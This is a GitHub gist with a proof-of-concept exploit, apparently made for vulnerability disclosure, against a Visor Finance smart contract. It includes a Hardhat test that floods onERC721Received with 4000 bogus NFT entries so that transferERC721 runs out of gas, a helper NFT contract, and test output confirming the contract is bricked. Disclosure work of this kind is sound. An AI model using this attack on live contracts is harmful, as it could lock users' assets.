-
-
Save toastedsteaksandwich/0443dee7b3db7c9a31a3ede92680e777 to your computer and use it in GitHub Desktop.
Visor finance - Unbounded for-loop bricks transferERC721() POC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { expect } = require("chai") | |
const { waffle } = require("hardhat") | |
let provider = ethers.getDefaultProvider(); | |
describe("brick poc", function () { | |
let visor; | |
let nft; | |
let signers; | |
beforeEach(async () => { | |
let nftFactory = await ethers.getContractFactory("MyNFT"); | |
nft = await nftFactory.deploy(); | |
signers = await ethers.getSigners() | |
let nftid = await nft.mintNFT(signers[0].address); | |
let Visor = await ethers.getContractFactory("Visor"); | |
visor = await Visor.deploy(); | |
await visor.initialize(); | |
}) | |
it("transfer NFT through contract to prove that it works", async function () { | |
console.log("owner of nft 1 is: " + await nft.ownerOf(1)); | |
await nft.transferFrom(signers[0].address,visor.address,1); | |
await visor.onERC721Received(signers[0].address, signers[0].address, 1,"0x"); | |
const storedNFTindex = await visor.getNftIdByTokenIdAndAddr(signers[0].address, 1); | |
console.log("added NFT at index: " + storedNFTindex); | |
console.log("transfer nft 1 to: " + signers[1].address); | |
await visor.transferERC721(signers[1].address, nft.address, 1); | |
console.log("transfer works, new owner of nft 1 is: " + await nft.ownerOf(1)); | |
}); | |
it("brick the contract by calling receive on non-existent NFTs", async function () { | |
console.log("populate nfts array with bogus entries"); | |
for (i = 0; i < 4000; i++){ | |
await visor.onERC721Received(visor.address, visor.address, 1337,"0x"); | |
} | |
//mint and transfer legitimate NFT | |
await nft.mintNFT(signers[0].address); | |
await nft.transferFrom(signers[0].address,visor.address, 2); | |
await visor.onERC721Received(signers[0].address, signers[0].address, 2,"0x"); | |
//this runs out of gas as well | |
//const storedNFTindex = await visor.getNftIdByTokenIdAndAddr(signers[0].address, 2); | |
//console.log("added NFT at index: " + storedNFTindex); | |
console.log("attempt to transfer transfer nft 2 to: " + signers[1].address); | |
await visor.transferERC721(signers[1].address, nft.address, 2); | |
}).timeout(60000); | |
}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721 | |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.7.6; | |
import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; | |
import "@openzeppelin/contracts/utils/Counters.sol"; | |
import "@openzeppelin/contracts/access/Ownable.sol"; | |
contract MyNFT is ERC721, Ownable { | |
using Counters for Counters.Counter; | |
Counters.Counter private _tokenIds; | |
address overrideOwner; | |
constructor() public ERC721("MyNFT", "NFT") {overrideOwner = msg.sender;} | |
function mintNFT(address recipient) | |
public onlyOwner | |
returns (uint256) | |
{ | |
_tokenIds.increment(); | |
uint256 newItemId = _tokenIds.current(); | |
_mint(recipient, newItemId); | |
return newItemId; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
brick poc | |
owner of nft 1 is: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 | |
added NFT at index: 0 | |
transfer nft 1 to: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 | |
transfer works, new owner of nft 1 is: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 | |
✓ transfer NFT through contract to prove that it works | |
populate nfts array with bogus entries | |
attempt to transfer transfer nft 2 to: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 | |
1) brick the contract by calling receive on non-existent NFTs | |
1 passing (1m) | |
1 failing | |
1) transfer fee forwarder | |
brick the contract by calling receive on non-existent NFTs: | |
TransactionExecutionError: Transaction ran out of gas |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function transferERC721( | |
address to, | |
address nftContract, | |
uint256 tokenId | |
) external { | |
//truncated function | |
_removeNft(nftContract, tokenId); | |
IERC721(nftContract).safeTransferFrom(address(this), to, tokenId); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment